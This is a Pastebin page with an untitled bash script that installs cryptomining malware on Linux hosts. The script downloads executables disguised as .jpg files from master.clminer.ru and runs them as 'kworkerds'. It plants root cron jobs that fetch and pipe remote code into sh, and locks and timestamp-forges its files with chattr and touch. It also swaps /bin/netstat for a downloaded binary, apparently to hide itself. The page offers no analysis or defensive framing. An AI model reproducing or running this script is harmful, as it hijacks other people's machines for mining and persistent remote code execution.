SHARE
TWEET

Untitled

FingerLickingGood Mar 24th, 2019 58 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/bin/bash
  2. SHELL=/bin/sh
  3. PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
  4.  
  5. function b() {
  6.     ARCH=$(uname -i)
  7.     if [ "$ARCH" == "x86_64" ]; then
  8.         (curl -fsSL --connect-timeout 120 https://master.clminer.ru/1/1551434761x2728329064.jpg -o /tmp/kworkerds||wget https://master.clminer.ru/1/1551434761x2728329064.jpg -O /tmp/kworkerds) && chmod +x /tmp/kworkerds
  9.         /tmp/kworkerds
  10.     else
  11.         mkdir -p /var/tmp
  12.         chmod 1777 /var/tmp
  13.         (curl -fsSL --connect-timeout 120 https://master.clminer.ru/2/1551434778x2728329032.jpg -o /var/tmp/kworkerds||wget https://master.clminer.ru/2/1551434778x2728329032.jpg -O /var/tmp/kworkerds) && chmod +x /var/tmp/kworkerds
  14.         /var/tmp/kworkerds
  15.     fi
  16. }
  17.  
  18. function a() {
  19.     echo -e "*/10 * * * * root (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh\n##" > /etc/cron.d/root && touch -acmr /bin/sh /etc/cron.d/root && chattr +i /etc/cron.d/root
  20.     echo -e "*/17 * * * * root (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh\n##" > /etc/cron.d/apache && touch -acmr /bin/sh /etc/cron.d/apache && chattr +i /etc/cron.d/apache
  21.     echo -e "*/23 * * * * (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh\n##" > /var/spool/cron/root && touch -acmr /bin/sh /var/spool/cron/root && chattr +i /var/spool/cron/root
  22.     mkdir -p /var/spool/cron/crontabs
  23.     echo -e "*/31 * * * * (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh\n##" > /var/spool/cron/crontabs/root && touch -acmr /bin/sh /var/spool/cron/crontabs/root && chattr +i /var/spool/cron/crontabs/root
  24.     mkdir -p /etc/cron.hourly
  25.     (curl -fsSL --connect-timeout 120 https://pastebin.com/raw/1NtRkBc3 -o /etc/cron.hourly/oanacroner||wget https://pastebin.com/raw/1NtRkBc3 -O /etc/cron.hourly/oanacroner) && chmod 755 /etc/cron.hourly/oanacroner
  26.     mkdir -p /etc/cron.daily
  27.     (curl -fsSL --connect-timeout 120 https://pastebin.com/raw/1NtRkBc3 -o /etc/cron.daily/oanacroner||wget https://pastebin.com/raw/1NtRkBc3 -O /etc/cron.daily/oanacroner) && chmod 755 /etc/cron.daily/oanacroner
  28.     mkdir -p /etc/cron.monthly
  29.     (curl -fsSL --connect-timeout 120 https://pastebin.com/raw/1NtRkBc3 -o /etc/cron.monthly/oanacroner||wget https://pastebin.com/raw/1NtRkBc3 -O /etc/cron.monthly/oanacroner) && chmod 755 /etc/cron.monthly/oanacroner
  30.     (curl -fsSL --connect-timeout 120 https://master.clminer.ru/Pep/3 -o /usr/sbin/netdns||wget https://master.clminer.ru/Pep/3 -O /usr/sbin/netdns) && chmod 777 /usr/sbin/netdns && touch -acmr /bin/sh /usr/sbin/netdns && chattr +i /usr/sbin/netdns
  31.     (curl -fsSL --connect-timeout 120 https://master.clminer.ru/Pep/4 -o /etc/init.d/netdns||wget https://master.clminer.ru/Pep/4 -O /etc/init.d/netdns) && chmod 777 /etc/init.d/netdns && touch -acmr /bin/sh /etc/init.d/netdns && chattr +i /etc/init.d/netdns
  32.     chkconfig --add netdns
  33.     chattr -i /bin/netstat
  34.     rm -rf /bin/netstat
  35.     ARCH=$(uname -i)
  36.     if [ "$ARCH" == "x86_64" ]; then
  37.         (curl -fsSL --connect-timeout 120 https://master.clminer.ru/Pep/n64 -o /bin/netstat||wget https://master.clminer.ru/Pep/n64 -O /bin/netstat) && chmod +x /bin/netstat && touch -acmr /bin/sh /bin/netstat && chattr +i /bin/netstat
  38.     elif [ "$ARCH" == "i386" ]; then
  39.         (curl -fsSL --connect-timeout 120 https://master.clminer.ru/Pep/n32 -o /bin/netstat||wget https://master.clminer.ru/Pep/n32 -O /bin/netstat) && chmod +x /bin/netstat && touch -acmr /bin/sh /bin/netstat && chattr +i /bin/netstat
  40.     else
  41.         (curl -fsSL --connect-timeout 120 https://master.clminer.ru/Pep/n32 -o /bin/netstat||wget https://master.clminer.ru/Pep/n32 -O /bin/netstat) && chmod +x /bin/netstat && touch -acmr /bin/sh /bin/netstat && chattr +i /bin/netstat
  42.     fi
  43.     touch -acmr /bin/sh /etc/cron.d/system
  44.     touch -acmr /bin/sh /etc/cron.hourly/oanacroner
  45.     touch -acmr /bin/sh /etc/cron.daily/oanacroner
  46.     touch -acmr /bin/sh /etc/cron.monthly/oanacroner
  47. }
  48.  
  49. a
  50. port=$(netstat -an | grep :56415 | wc -l)
  51. if [ ${port} -eq 0 ];then
  52.     b
  53. fi
  54. #
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top